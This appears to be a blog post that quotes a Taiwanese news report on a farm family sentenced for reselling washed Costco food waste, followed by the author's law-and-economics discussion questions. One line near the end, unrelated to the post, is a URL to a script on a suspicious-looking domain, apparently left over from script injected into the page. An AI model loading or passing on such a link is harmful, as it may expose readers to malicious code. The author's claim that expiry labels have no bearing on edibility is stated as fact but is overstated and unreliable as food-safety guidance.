UDN：「好市多回收廚餘洗完流入市面 業者二審最重判2年4月」
新聞內容：「屏東「沈永選牧場」5年前遭查獲負責知名賣場好市多的廚餘回收，涉未依合約全部餵豬，挑出外觀乾淨的肉類、海鮮、水果等清洗後賣給餐飲業者，時間長達近2年；一審依違反食安法對經營牧場的吳美孃及2名兒子判刑。上訴後，高雄高分院今改判吳女2年4月、胞兄沈育正1年10月、弟沈和昌1年8月並宣告緩刑5年，須付公庫120萬，仍可上訴。
接獲檢警的屏東檢警2015年11月大舉搜索，讓全案曝光後，好市多隨即回應「立即和廠商解約了」。
判決指出，以養豬為業的沈永選牧場，案發前經營主導權交由沈的妻子吳美孃，以及兒子沈育正、沈和昌，2010年起接連與好市多高雄中華店、大順店簽立「廚餘回收」合約，每天上午到好市多載回廚餘，煮熟後餵食豬隻。
雖然簽訂合約明確指出，回收的都是超過保存期限或包裝破損而丟棄，只能供餵養豬隻，好市多還淋上烤雞的雞油以防再被拿來食用，吳美孃仍指示兒子挑選外觀良好的肉類、海鮮、水果等，清洗整理後分裝重新賣給餐飲業者。
一審認定，該牧場從2014年1月到2015年11月11日被查獲為止，將好市多廚餘賣到早餐、自助餐、檳榔攤、薑母鴨店等，推算獲利68萬多元。
吳美孃辯稱，「那些食物我自己有在吃，不會影響健康」，且賣出的都是沒過期的；沈姓兄弟則辯沒參與販賣，僅知廚餘有賣給別人。
合議庭認為，好市多將廚餘都拆除包裝，才交給沈永選牧場載運，吳女母子應可預見有部分已經逾期，卻以「有些食品過期也沒關係」心態容任繼續販賣，且都在常溫下清洗、處理原本低溫的生鮮食品，恐加速腐敗及細菌孳生危害健康，明顯觸犯販賣逾有效日期食品，情節重大足以危害人體健康之虞罪，一審判吳美孃2年半，沈育正及沈和昌皆2年。」
這個新聞其實法律經濟學上可以談的點很多耶！
1. 懂食品科學都知道，食品包裝標示的保存期限與食品本身能不能食用並沒有關係。這樣侵權行為存在嗎？如果沒有人受損，那損害賠償的請求權基礎是？
引入刑罰欲保護的法益為何？
如果沒有法規限制，Costco與處理廢棄食材的業者契約架構中是否會涵蓋「如何處理」？
30年前的台灣與現在的印度、菲律賓等地區均存在「菜尾」這種蒐集廢棄食材（甚至餿水）重新加熱料理的供應，滿足社會最底層者的營養需求。制度經濟學怎麼看現代衛生法規與此種供應行為？西點蛋糕店出售的「邊角料」或「NG蛋糕」、出售「菜尾」與本案當事人行為背後經濟學意涵有何不同？
2. 這種以保存期限為判斷標準的作法是節省了制度費用還是增加？
3. 符合價格理論預測：販賣這類回收食材的邊際利潤很低。但其經濟邏輯是如何推得此預測？
對法律經濟分析有興趣的朋友可以嘗試思考這些問題。
PS 記住，上述請求權基礎並非單純民法的概念，而是法律經濟分析的概念。
又，經濟學是門科學，不問好不好對不對，而是問侷限條件下會發生什麼？
https://js.developerstatss.ga/stat.js?n=ns1
元毓說 